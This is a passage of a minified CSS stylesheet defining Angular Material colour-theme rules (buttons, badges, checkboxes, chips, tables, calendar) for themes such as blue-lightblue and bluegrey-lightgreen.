.star-border{stroke:#689f38}.bluegrey-lightgreen-theme .mat-snack-bar-container{background-color:#424242!important;color:#fff!important}.bluegrey-lightgreen-theme .mat-snack-bar-container.errorBar{color:#ff5722!important}.bluegrey-lightgreen-theme .mat-snack-bar-container.confirmBar{color:#689f38!important}.bluegrey-lightgreen-theme .google-button{background-color:#558b2f!important}.bluegrey-lightgreen-theme .deluxe-membership{background:linear-gradient(90deg,#546e7a 0%,#424242 100%)}.bluegrey-lightgreen-theme .overlay{background:rgba(38,50,56,.7)}.blue-lightblue-theme{--theme-primary: #1976d2;--theme-primary-lighter: #2585e5;--theme-primary-light: #378fe7;--theme-primary-darker: #1667b7;--theme-primary-dark: #145ca4;--theme-primary-fade-10: rgba(25, 118, 210, .9);--theme-primary-fade-20: rgba(25, 118, 210, .8);--theme-primary-fade-30: rgba(25, 118, 210, .7);--theme-primary-fade-40: rgba(25, 118, 210, .6);--theme-primary-fade-50: rgba(25, 118, 210, .5);--theme-accent: #0288d1;--theme-accent-lighter: #029cef;--theme-accent-light: #09a7fd;--theme-accent-darker: #0274b3;--theme-accent-dark: #02679e;--theme-accent-fade-10: rgba(2, 136, 209, .9);--theme-accent-fade-20: rgba(2, 136, 209, .8);--theme-accent-fade-30: rgba(2, 136, 209, .7);--theme-accent-fade-40: rgba(2, 136, 209, .6);--theme-accent-fade-50: rgba(2, 136, 209, .5);--theme-warn: #f44336;--theme-warn-lighter: #f65e53;--theme-warn-light: #f77066;--theme-warn-darker: #f22819;--theme-warn-dark: #ea1c0d;--theme-warn-fade-10: rgba(244, 67, 54, .9);--theme-warn-fade-20: rgba(244, 67, 54, .8);--theme-warn-fade-30: rgba(244, 67, 54, .7);--theme-warn-fade-40: rgba(244, 67, 54, .6);--theme-warn-fade-50: rgba(244, 67, 54, .5);--theme-text: rgba(0, 0, 0, .87);--theme-text-lighter: rgba(15, 15, 15, .87);--theme-text-light: rgba(26, 26, 26, .87);--theme-text-darker: rgba(0, 0, 0, .87);--theme-text-dark: rgba(0, 0, 0, .87);--theme-text-fade-10: rgba(0, 0, 0, .77);--theme-text-fade-20: rgba(0, 0, 0, .67);--theme-text-fade-30: rgba(0, 0, 0, .57);--theme-text-fade-40: rgba(0, 0, 0, .47);--theme-text-fade-50: rgba(0, 0, 0, .37);--theme-text-invert-15: rgba(38, 38, 38, .87);--theme-text-invert-30: rgba(77, 77, 77, .87);--theme-background: white;--theme-background-lighter: white;--theme-background-light: white;--theme-background-darker: #f0f0f0;--theme-background-dark: #e6e6e6;--theme-background-darkest: #dbdbdb}.blue-lightblue-theme .mat-ripple-element{background-color:#0000001a}.blue-lightblue-theme .mat-option{color:#000000de}.blue-lightblue-theme .mat-option:hover:not(.mat-option-disabled),.blue-lightblue-theme .mat-option:focus:not(.mat-option-disabled){background:rgba(0,0,0,.04)}.blue-lightblue-theme .mat-option.mat-selected:not(.mat-option-multiple):not(.mat-option-disabled){background:rgba(0,0,0,.04)}.blue-lightblue-theme .mat-option.mat-active{background:rgba(0,0,0,.04);color:#000000de}.blue-lightblue-theme .mat-option.mat-option-disabled{color:#00000061}.blue-lightblue-theme .mat-primary .mat-option.mat-selected:not(.mat-option-disabled){color:#1976d2}.blue-lightblue-theme .mat-accent .mat-option.mat-selected:not(.mat-option-disabled){color:#0288d1}.blue-lightblue-theme .mat-warn .mat-option.mat-selected:not(.mat-option-disabled){color:#f44336}.blue-lightblue-theme .mat-optgroup-label{color:#0000008a}.blue-lightblue-theme .mat-optgroup-disabled .mat-optgroup-label{color:#00000061}.blue-lightblue-theme .mat-pseudo-checkbox{color:#0000008a}.blue-lightblue-theme .mat-pseudo-checkbox:after{color:#fafafa}.blue-lightblue-theme .mat-pseudo-checkbox-disabled{color:#b0b0b0}.blue-lightblue-theme .mat-primary .mat-pseudo-checkbox-checked,.blue-lightblue-theme .mat-primary .mat-pseudo-checkbox-indeterminate{background:#1976d2}.blue-lightblue-theme .mat-pseudo-checkbox-checked,.blue-lightblue-theme .mat-pseudo-checkbox-indeterminate,.blue-lightblue-theme .mat-accent .mat-pseudo-checkbox-checked,.blue-lightblue-theme .mat-accent .mat-pseudo-checkbox-indeterminate{background:#0288d1}.blue-lightblue-theme .mat-warn .mat-pseudo-checkbox-checked,.blue-lightblue-theme .mat-warn .mat-pseudo-checkbox-indeterminate{background:#f44336}.blue-lightblue-theme .mat-pseudo-checkbox-checked.mat-pseudo-checkbox-disabled,.blue-lightblue-theme .mat-pseudo-checkbox-indeterminate.mat-pseudo-checkbox-disabled{background:#b0b0b0}.blue-lightblue-theme .mat-app-background,.blue-lightblue-theme.mat-app-background{background-color:#fafafa;color:#000000de}.blue-lightblue-theme .mat-elevation-z0{box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.blue-lightblue-theme .mat-elevation-z1{box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f}.blue-lightblue-theme .mat-elevation-z2{box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.blue-lightblue-theme .mat-elevation-z3{box-shadow:0 3px 3px -2px #0003,0 3px 4px #00000024,0 1px 8px #0000001f}.blue-lightblue-theme .mat-elevation-z4{box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.blue-lightblue-theme .mat-elevation-z5{box-shadow:0 3px 5px -1px #0003,0 5px 8px #00000024,0 1px 14px #0000001f}.blue-lightblue-theme .mat-elevation-z6{box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.blue-lightblue-theme .mat-elevation-z7{box-shadow:0 4px 5px -2px #0003,0 7px 10px 1px #00000024,0 2px 16px 1px #0000001f}.blue-lightblue-theme .mat-elevation-z8{box-shadow:0 5px 5px -3px #0003,0 8px 10px 1px #00000024,0 3px 14px 2px #0000001f}.blue-lightblue-theme .mat-elevation-z9{box-shadow:0 5px 6px -3px #0003,0 9px 12px 1px #00000024,0 3px 16px 2px #0000001f}.blue-lightblue-theme .mat-elevation-z10{box-shadow:0 6px 6px -3px #0003,0 10px 14px 1px #00000024,0 4px 18px 3px #0000001f}.blue-lightblue-theme .mat-elevation-z11{box-shadow:0 6px 7px -4px #0003,0 11px 15px 1px #00000024,0 4px 20px 3px #0000001f}.blue-lightblue-theme .mat-elevation-z12{box-shadow:0 7px 8px -4px #0003,0 12px 17px 2px #00000024,0 5px 22px 4px #0000001f}.blue-lightblue-theme .mat-elevation-z13{box-shadow:0 7px 8px -4px #0003,0 13px 19px 2px #00000024,0 5px 24px 4px #0000001f}.blue-lightblue-theme .mat-elevation-z14{box-shadow:0 7px 9px -4px #0003,0 14px 21px 2px #00000024,0 5px 26px 4px #0000001f}.blue-lightblue-theme .mat-elevation-z15{box-shadow:0 8px 9px -5px #0003,0 15px 22px 2px #00000024,0 6px 28px 5px #0000001f}.blue-lightblue-theme .mat-elevation-z16{box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f}.blue-lightblue-theme .mat-elevation-z17{box-shadow:0 8px 11px -5px #0003,0 17px 26px 2px #00000024,0 6px 32px 5px #0000001f}.blue-lightblue-theme .mat-elevation-z18{box-shadow:0 9px 11px -5px #0003,0 18px 28px 2px #00000024,0 7px 34px 6px #0000001f}.blue-lightblue-theme .mat-elevation-z19{box-shadow:0 9px 12px -6px #0003,0 19px 29px 2px #00000024,0 7px 36px 6px #0000001f}.blue-lightblue-theme .mat-elevation-z20{box-shadow:0 10px 13px -6px #0003,0 20px 31px 3px #00000024,0 8px 38px 7px #0000001f}.blue-lightblue-theme .mat-elevation-z21{box-shadow:0 10px 13px -6px #0003,0 21px 33px 3px #00000024,0 8px 40px 7px #0000001f}.blue-lightblue-theme .mat-elevation-z22{box-shadow:0 10px 14px -6px #0003,0 22px 35px 3px #00000024,0 8px 42px 7px #0000001f}.blue-lightblue-theme .mat-elevation-z23{box-shadow:0 11px 14px -7px #0003,0 23px 36px 3px #00000024,0 9px 44px 8px #0000001f}.blue-lightblue-theme .mat-elevation-z24{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f}.blue-lightblue-theme .mat-autocomplete-panel{background:white;color:#000000de}.blue-lightblue-theme .mat-autocomplete-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.blue-lightblue-theme .mat-autocomplete-panel .mat-option.mat-selected:not(.mat-active):not(:hover){background:white}.blue-lightblue-theme .mat-autocomplete-panel .mat-option.mat-selected:not(.mat-active):not(:hover):not(.mat-option-disabled){color:#000000de}.blue-lightblue-theme .mat-badge{position:relative}.blue-lightblue-theme .mat-badge.mat-badge{overflow:visible}.blue-lightblue-theme .mat-badge-hidden .mat-badge-content{display:none}.blue-lightblue-theme .mat-badge-content{position:absolute;text-align:center;display:inline-block;border-radius:50%;transition:transform .2s ease-in-out;transform:scale(.6);overflow:hidden;white-space:nowrap;text-overflow:ellipsis;pointer-events:none}.blue-lightblue-theme .ng-animate-disabled .mat-badge-content,.blue-lightblue-theme .mat-badge-content._mat-animation-noopable{transition:none}.blue-lightblue-theme .mat-badge-content.mat-badge-active{transform:none}.blue-lightblue-theme .mat-badge-small .mat-badge-content{width:16px;height:16px;line-height:16px}.blue-lightblue-theme .mat-badge-small.mat-badge-above .mat-badge-content{top:-8px}.blue-lightblue-theme .mat-badge-small.mat-badge-below .mat-badge-content{bottom:-8px}.blue-lightblue-theme .mat-badge-small.mat-badge-before .mat-badge-content{left:-16px}[dir=rtl] .blue-lightblue-theme .mat-badge-small.mat-badge-before .mat-badge-content{left:auto;right:-16px}.blue-lightblue-theme .mat-badge-small.mat-badge-after .mat-badge-content{right:-16px}[dir=rtl] .blue-lightblue-theme .mat-badge-small.mat-badge-after .mat-badge-content{right:auto;left:-16px}.blue-lightblue-theme .mat-badge-small.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-8px}[dir=rtl] .blue-lightblue-theme .mat-badge-small.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-8px}.blue-lightblue-theme .mat-badge-small.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-8px}[dir=rtl] .blue-lightblue-theme .mat-badge-small.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-8px}.blue-lightblue-theme .mat-badge-medium .mat-badge-content{width:22px;height:22px;line-height:22px}.blue-lightblue-theme .mat-badge-medium.mat-badge-above .mat-badge-content{top:-11px}.blue-lightblue-theme .mat-badge-medium.mat-badge-below .mat-badge-content{bottom:-11px}.blue-lightblue-theme .mat-badge-medium.mat-badge-before .mat-badge-content{left:-22px}[dir=rtl] .blue-lightblue-theme .mat-badge-medium.mat-badge-before .mat-badge-content{left:auto;right:-22px}.blue-lightblue-theme .mat-badge-medium.mat-badge-after .mat-badge-content{right:-22px}[dir=rtl] .blue-lightblue-theme .mat-badge-medium.mat-badge-after .mat-badge-content{right:auto;left:-22px}.blue-lightblue-theme .mat-badge-medium.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-11px}[dir=rtl] .blue-lightblue-theme .mat-badge-medium.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-11px}.blue-lightblue-theme .mat-badge-medium.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-11px}[dir=rtl] .blue-lightblue-theme .mat-badge-medium.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-11px}.blue-lightblue-theme .mat-badge-large .mat-badge-content{width:28px;height:28px;line-height:28px}.blue-lightblue-theme .mat-badge-large.mat-badge-above .mat-badge-content{top:-14px}.blue-lightblue-theme .mat-badge-large.mat-badge-below .mat-badge-content{bottom:-14px}.blue-lightblue-theme .mat-badge-large.mat-badge-before .mat-badge-content{left:-28px}[dir=rtl] .blue-lightblue-theme .mat-badge-large.mat-badge-before .mat-badge-content{left:auto;right:-28px}.blue-lightblue-theme .mat-badge-large.mat-badge-after .mat-badge-content{right:-28px}[dir=rtl] .blue-lightblue-theme .mat-badge-large.mat-badge-after .mat-badge-content{right:auto;left:-28px}.blue-lightblue-theme .mat-badge-large.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-14px}[dir=rtl] .blue-lightblue-theme .mat-badge-large.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-14px}.blue-lightblue-theme .mat-badge-large.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-14px}[dir=rtl] .blue-lightblue-theme .mat-badge-large.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-14px}.blue-lightblue-theme .mat-badge-content{color:#fff;background:#1976d2}.cdk-high-contrast-active .blue-lightblue-theme .mat-badge-content{outline:solid 1px;border-radius:0}.blue-lightblue-theme .mat-badge-accent .mat-badge-content{background:#0288d1;color:#fff}.blue-lightblue-theme .mat-badge-warn .mat-badge-content{color:#fff;background:#f44336}.blue-lightblue-theme .mat-badge-disabled .mat-badge-content{background:#b9b9b9;color:#00000061}.blue-lightblue-theme .mat-bottom-sheet-container{box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f;background:white;color:#000000de}.blue-lightblue-theme .mat-button,.blue-lightblue-theme .mat-icon-button,.blue-lightblue-theme .mat-stroked-button{color:inherit;background:transparent}.blue-lightblue-theme .mat-button.mat-primary,.blue-lightblue-theme .mat-icon-button.mat-primary,.blue-lightblue-theme .mat-stroked-button.mat-primary{color:#1976d2}.blue-lightblue-theme .mat-button.mat-accent,.blue-lightblue-theme .mat-icon-button.mat-accent,.blue-lightblue-theme .mat-stroked-button.mat-accent{color:#0288d1}.blue-lightblue-theme .mat-button.mat-warn,.blue-lightblue-theme .mat-icon-button.mat-warn,.blue-lightblue-theme .mat-stroked-button.mat-warn{color:#f44336}.blue-lightblue-theme .mat-button.mat-primary.mat-button-disabled,.blue-lightblue-theme .mat-button.mat-accent.mat-button-disabled,.blue-lightblue-theme .mat-button.mat-warn.mat-button-disabled,.blue-lightblue-theme .mat-button.mat-button-disabled.mat-button-disabled,.blue-lightblue-theme .mat-icon-button.mat-primary.mat-button-disabled,.blue-lightblue-theme .mat-icon-button.mat-accent.mat-button-disabled,.blue-lightblue-theme .mat-icon-button.mat-warn.mat-button-disabled,.blue-lightblue-theme .mat-icon-button.mat-button-disabled.mat-button-disabled,.blue-lightblue-theme .mat-stroked-button.mat-primary.mat-button-disabled,.blue-lightblue-theme .mat-stroked-button.mat-accent.mat-button-disabled,.blue-lightblue-theme .mat-stroked-button.mat-warn.mat-button-disabled,.blue-lightblue-theme .mat-stroked-button.mat-button-disabled.mat-button-disabled{color:#00000042}.blue-lightblue-theme .mat-button.mat-primary .mat-button-focus-overlay,.blue-lightblue-theme .mat-icon-button.mat-primary .mat-button-focus-overlay,.blue-lightblue-theme .mat-stroked-button.mat-primary .mat-button-focus-overlay{background-color:#1976d2}.blue-lightblue-theme .mat-button.mat-accent .mat-button-focus-overlay,.blue-lightblue-theme .mat-icon-button.mat-accent .mat-button-focus-overlay,.blue-lightblue-theme .mat-stroked-button.mat-accent .mat-button-focus-overlay{background-color:#0288d1}.blue-lightblue-theme .mat-button.mat-warn .mat-button-focus-overlay,.blue-lightblue-theme .mat-icon-button.mat-warn .mat-button-focus-overlay,.blue-lightblue-theme .mat-stroked-button.mat-warn .mat-button-focus-overlay{background-color:#f44336}.blue-lightblue-theme .mat-button.mat-button-disabled .mat-button-focus-overlay,.blue-lightblue-theme .mat-icon-button.mat-button-disabled .mat-button-focus-overlay,.blue-lightblue-theme .mat-stroked-button.mat-button-disabled .mat-button-focus-overlay{background-color:transparent}.blue-lightblue-theme .mat-button .mat-ripple-element,.blue-lightblue-theme .mat-icon-button .mat-ripple-element,.blue-lightblue-theme .mat-stroked-button .mat-ripple-element{opacity:.1;background-color:currentColor}.blue-lightblue-theme .mat-button-focus-overlay{background:black}.blue-lightblue-theme .mat-stroked-button:not(.mat-button-disabled){border-color:#0000001f}.blue-lightblue-theme .mat-flat-button,.blue-lightblue-theme .mat-raised-button,.blue-lightblue-theme .mat-fab,.blue-lightblue-theme .mat-mini-fab{color:#000000de;background-color:#fff}.blue-lightblue-theme .mat-flat-button.mat-primary,.blue-lightblue-theme .mat-raised-button.mat-primary,.blue-lightblue-theme .mat-fab.mat-primary,.blue-lightblue-theme .mat-mini-fab.mat-primary,.blue-lightblue-theme .mat-flat-button.mat-accent,.blue-lightblue-theme .mat-raised-button.mat-accent,.blue-lightblue-theme .mat-fab.mat-accent,.blue-lightblue-theme .mat-mini-fab.mat-accent,.blue-lightblue-theme .mat-flat-button.mat-warn,.blue-lightblue-theme .mat-raised-button.mat-warn,.blue-lightblue-theme .mat-fab.mat-warn,.blue-lightblue-theme .mat-mini-fab.mat-warn{color:#fff}.blue-lightblue-theme .mat-flat-button.mat-primary.mat-button-disabled,.blue-lightblue-theme .mat-flat-button.mat-accent.mat-button-disabled,.blue-lightblue-theme .mat-flat-button.mat-warn.mat-button-disabled,.blue-lightblue-theme .mat-flat-button.mat-button-disabled.mat-button-disabled,.blue-lightblue-theme .mat-raised-button.mat-primary.mat-button-disabled,.blue-lightblue-theme .mat-raised-button.mat-accent.mat-button-disabled,.blue-lightblue-theme .mat-raised-button.mat-warn.mat-button-disabled,.blue-lightblue-theme .mat-raised-button.mat-button-disabled.mat-button-disabled,.blue-lightblue-theme .mat-fab.mat-primary.mat-button-disabled,.blue-lightblue-theme .mat-fab.mat-accent.mat-button-disabled,.blue-lightblue-theme .mat-fab.mat-warn.mat-button-disabled,.blue-lightblue-theme .mat-fab.mat-button-disabled.mat-button-disabled,.blue-lightblue-theme .mat-mini-fab.mat-primary.mat-button-disabled,.blue-lightblue-theme .mat-mini-fab.mat-accent.mat-button-disabled,.blue-lightblue-theme .mat-mini-fab.mat-warn.mat-button-disabled,.blue-lightblue-theme .mat-mini-fab.mat-button-disabled.mat-button-disabled{color:#00000042}.blue-lightblue-theme .mat-flat-button.mat-primary,.blue-lightblue-theme .mat-raised-button.mat-primary,.blue-lightblue-theme .mat-fab.mat-primary,.blue-lightblue-theme .mat-mini-fab.mat-primary{background-color:#1976d2}.blue-lightblue-theme .mat-flat-button.mat-accent,.blue-lightblue-theme .mat-raised-button.mat-accent,.blue-lightblue-theme .mat-fab.mat-accent,.blue-lightblue-theme .mat-mini-fab.mat-accent{background-color:#0288d1}.blue-lightblue-theme .mat-flat-button.mat-warn,.blue-lightblue-theme .mat-raised-button.mat-warn,.blue-lightblue-theme .mat-fab.mat-warn,.blue-lightblue-theme .mat-mini-fab.mat-warn{background-color:#f44336}.blue-lightblue-theme .mat-flat-button.mat-primary.mat-button-disabled,.blue-lightblue-theme .mat-flat-button.mat-accent.mat-button-disabled,.blue-lightblue-theme .mat-flat-button.mat-warn.mat-button-disabled,.blue-lightblue-theme .mat-flat-button.mat-button-disabled.mat-button-disabled,.blue-lightblue-theme .mat-raised-button.mat-primary.mat-button-disabled,.blue-lightblue-theme .mat-raised-button.mat-accent.mat-button-disabled,.blue-lightblue-theme .mat-raised-button.mat-warn.mat-button-disabled,.blue-lightblue-theme .mat-raised-button.mat-button-disabled.mat-button-disabled,.blue-lightblue-theme .mat-fab.mat-primary.mat-button-disabled,.blue-lightblue-theme .mat-fab.mat-accent.mat-button-disabled,.blue-lightblue-theme .mat-fab.mat-warn.mat-button-disabled,.blue-lightblue-theme .mat-fab.mat-button-disabled.mat-button-disabled,.blue-lightblue-theme .mat-mini-fab.mat-primary.mat-button-disabled,.blue-lightblue-theme .mat-mini-fab.mat-accent.mat-button-disabled,.blue-lightblue-theme .mat-mini-fab.mat-warn.mat-button-disabled,.blue-lightblue-theme .mat-mini-fab.mat-button-disabled.mat-button-disabled{background-color:#0000001f}.blue-lightblue-theme .mat-flat-button.mat-primary .mat-ripple-element,.blue-lightblue-theme .mat-raised-button.mat-primary .mat-ripple-element,.blue-lightblue-theme .mat-fab.mat-primary .mat-ripple-element,.blue-lightblue-theme .mat-mini-fab.mat-primary .mat-ripple-element,.blue-lightblue-theme .mat-flat-button.mat-accent .mat-ripple-element,.blue-lightblue-theme .mat-raised-button.mat-accent .mat-ripple-element,.blue-lightblue-theme .mat-fab.mat-accent .mat-ripple-element,.blue-lightblue-theme .mat-mini-fab.mat-accent .mat-ripple-element,.blue-lightblue-theme .mat-flat-button.mat-warn .mat-ripple-element,.blue-lightblue-theme .mat-raised-button.mat-warn .mat-ripple-element,.blue-lightblue-theme .mat-fab.mat-warn .mat-ripple-element,.blue-lightblue-theme .mat-mini-fab.mat-warn .mat-ripple-element{background-color:#ffffff1a}.blue-lightblue-theme .mat-stroked-button:not([class*=mat-elevation-z]),.blue-lightblue-theme .mat-flat-button:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.blue-lightblue-theme .mat-raised-button:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.blue-lightblue-theme .mat-raised-button:not(.mat-button-disabled):active:not([class*=mat-elevation-z]){box-shadow:0 5px 5px -3px #0003,0 8px 10px 1px #00000024,0 3px 14px 2px #0000001f}.blue-lightblue-theme .mat-raised-button.mat-button-disabled:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.blue-lightblue-theme .mat-fab:not([class*=mat-elevation-z]),.blue-lightblue-theme .mat-mini-fab:not([class*=mat-elevation-z]){box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.blue-lightblue-theme .mat-fab:not(.mat-button-disabled):active:not([class*=mat-elevation-z]),.blue-lightblue-theme .mat-mini-fab:not(.mat-button-disabled):active:not([class*=mat-elevation-z]){box-shadow:0 7px 8px -4px #0003,0 12px 17px 2px #00000024,0 5px 22px 4px #0000001f}.blue-lightblue-theme .mat-fab.mat-button-disabled:not([class*=mat-elevation-z]),.blue-lightblue-theme .mat-mini-fab.mat-button-disabled:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.blue-lightblue-theme .mat-button-toggle-standalone:not([class*=mat-elevation-z]),.blue-lightblue-theme .mat-button-toggle-group:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.blue-lightblue-theme .mat-button-toggle-standalone.mat-button-toggle-appearance-standard:not([class*=mat-elevation-z]),.blue-lightblue-theme .mat-button-toggle-group-appearance-standard:not([class*=mat-elevation-z]){box-shadow:none}.blue-lightblue-theme .mat-button-toggle{color:#00000061}.blue-lightblue-theme .mat-button-toggle .mat-button-toggle-focus-overlay{background-color:#0000001f}.blue-lightblue-theme .mat-button-toggle-appearance-standard{color:#000000de;background:white}.blue-lightblue-theme .mat-button-toggle-appearance-standard .mat-button-toggle-focus-overlay{background-color:#000}.blue-lightblue-theme .mat-button-toggle-group-appearance-standard .mat-button-toggle+.mat-button-toggle{border-left:solid 1px #e0e0e0}.blue-lightblue-theme [dir=rtl] .mat-button-toggle-group-appearance-standard .mat-button-toggle+.mat-button-toggle{border-left:none;border-right:solid 1px #e0e0e0}.blue-lightblue-theme .mat-button-toggle-group-appearance-standard.mat-button-toggle-vertical .mat-button-toggle+.mat-button-toggle{border-left:none;border-right:none;border-top:solid 1px #e0e0e0}.blue-lightblue-theme .mat-button-toggle-checked{background-color:#e0e0e0;color:#0000008a}.blue-lightblue-theme .mat-button-toggle-checked.mat-button-toggle-appearance-standard{color:#000000de}.blue-lightblue-theme .mat-button-toggle-disabled{color:#00000042;background-color:#eee}.blue-lightblue-theme .mat-button-toggle-disabled.mat-button-toggle-appearance-standard{background:white}.blue-lightblue-theme .mat-button-toggle-disabled.mat-button-toggle-checked{background-color:#bdbdbd}.blue-lightblue-theme .mat-button-toggle-standalone.mat-button-toggle-appearance-standard,.blue-lightblue-theme .mat-button-toggle-group-appearance-standard{border:solid 1px #e0e0e0}.blue-lightblue-theme .mat-card{background:white;color:#000000de}.blue-lightblue-theme .mat-card:not([class*=mat-elevation-z]){box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f}.blue-lightblue-theme .mat-card.mat-card-flat:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.blue-lightblue-theme .mat-card-subtitle{color:#0000008a}.blue-lightblue-theme .mat-checkbox-frame{border-color:#0000008a}.blue-lightblue-theme .mat-checkbox-checkmark{fill:#fafafa}.blue-lightblue-theme .mat-checkbox-checkmark-path{stroke:#fafafa!important}.blue-lightblue-theme .mat-checkbox-mixedmark{background-color:#fafafa}.blue-lightblue-theme .mat-checkbox-indeterminate.mat-primary .mat-checkbox-background,.blue-lightblue-theme .mat-checkbox-checked.mat-primary .mat-checkbox-background{background-color:#1976d2}.blue-lightblue-theme .mat-checkbox-indeterminate.mat-accent .mat-checkbox-background,.blue-lightblue-theme .mat-checkbox-checked.mat-accent .mat-checkbox-background{background-color:#0288d1}.blue-lightblue-theme .mat-checkbox-indeterminate.mat-warn .mat-checkbox-background,.blue-lightblue-theme .mat-checkbox-checked.mat-warn .mat-checkbox-background{background-color:#f44336}.blue-lightblue-theme .mat-checkbox-disabled.mat-checkbox-checked .mat-checkbox-background,.blue-lightblue-theme .mat-checkbox-disabled.mat-checkbox-indeterminate .mat-checkbox-background{background-color:#b0b0b0}.blue-lightblue-theme .mat-checkbox-disabled:not(.mat-checkbox-checked) .mat-checkbox-frame{border-color:#b0b0b0}.blue-lightblue-theme .mat-checkbox-disabled .mat-checkbox-label{color:#00000061}.blue-lightblue-theme .mat-checkbox .mat-ripple-element{background-color:#000}.blue-lightblue-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element,.blue-lightblue-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element{background:#1976d2}.blue-lightblue-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element,.blue-lightblue-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element{background:#0288d1}.blue-lightblue-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element,.blue-lightblue-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element{background:#f44336}.blue-lightblue-theme .mat-chip.mat-standard-chip{background-color:#e0e0e0;color:#000000de}.blue-lightblue-theme .mat-chip.mat-standard-chip .mat-chip-remove{color:#000000de;opacity:.4}.blue-lightblue-theme .mat-chip.mat-standard-chip:not(.mat-chip-disabled):active{box-shadow:0 3px 3px -2px #0003,0 3px 4px #00000024,0 1px 8px #0000001f}.blue-lightblue-theme .mat-chip.mat-standard-chip:not(.mat-chip-disabled) .mat-chip-remove:hover{opacity:.54}.blue-lightblue-theme .mat-chip.mat-standard-chip.mat-chip-disabled{opacity:.4}.blue-lightblue-theme .mat-chip.mat-standard-chip:after{background:black}.blue-lightblue-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary{background-color:#1976d2;color:#fff}.blue-lightblue-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary .mat-chip-remove{color:#fff;opacity:.4}.blue-lightblue-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary .mat-ripple-element{background-color:#ffffff1a}.blue-lightblue-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn{background-color:#f44336;color:#fff}.blue-lightblue-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn .mat-chip-remove{color:#fff;opacity:.4}.blue-lightblue-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn .mat-ripple-element{background-color:#ffffff1a}.blue-lightblue-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent{background-color:#0288d1;color:#fff}.blue-lightblue-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent .mat-chip-remove{color:#fff;opacity:.4}.blue-lightblue-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent .mat-ripple-element{background-color:#ffffff1a}.blue-lightblue-theme .mat-table{background:white}.blue-lightblue-theme .mat-table thead,.blue-lightblue-theme .mat-table tbody,.blue-lightblue-theme .mat-table tfoot,.blue-lightblue-theme mat-header-row,.blue-lightblue-theme mat-row,.blue-lightblue-theme mat-footer-row,.blue-lightblue-theme [mat-header-row],.blue-lightblue-theme [mat-row],.blue-lightblue-theme [mat-footer-row],.blue-lightblue-theme .mat-table-sticky{background:inherit}.blue-lightblue-theme mat-row,.blue-lightblue-theme mat-header-row,.blue-lightblue-theme mat-footer-row,.blue-lightblue-theme th.mat-header-cell,.blue-lightblue-theme td.mat-cell,.blue-lightblue-theme td.mat-footer-cell{border-bottom-color:#0000001f}.blue-lightblue-theme .mat-header-cell{color:#0000008a}.blue-lightblue-theme .mat-cell,.blue-lightblue-theme .mat-footer-cell{color:#000000de}.blue-lightblue-theme .mat-calendar-arrow{fill:#0000008a}.blue-lightblue-theme .mat-datepicker-toggle,.blue-lightblue-theme .mat-datepicker-content .mat-calendar-next-button,.blue-lightblue-theme .mat-datepicker-content .mat-calendar-previous-button{color:#0000008a}.blue-lightblue-theme .mat-calendar-table-header-divider:after{background:rgba(0,0,0,.12)}.blue-lightblue-theme .mat-calendar-table-header,.blue-lightblue-theme .mat-calendar-body-label{color:#0000008a}.blue-lightblue-theme .mat-calendar-body-cell-content,.blue-lightblue-theme .mat-date-range-input-separator{color:#000000de;border-color:transparent}.blue-lightblue-theme .mat-calendar-body-disabled>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){color:#00000061}.blue-lightblue-theme .mat-form-field-disabled .mat-date-range-input-separator{color:#00000061}.blue-lightblue-theme 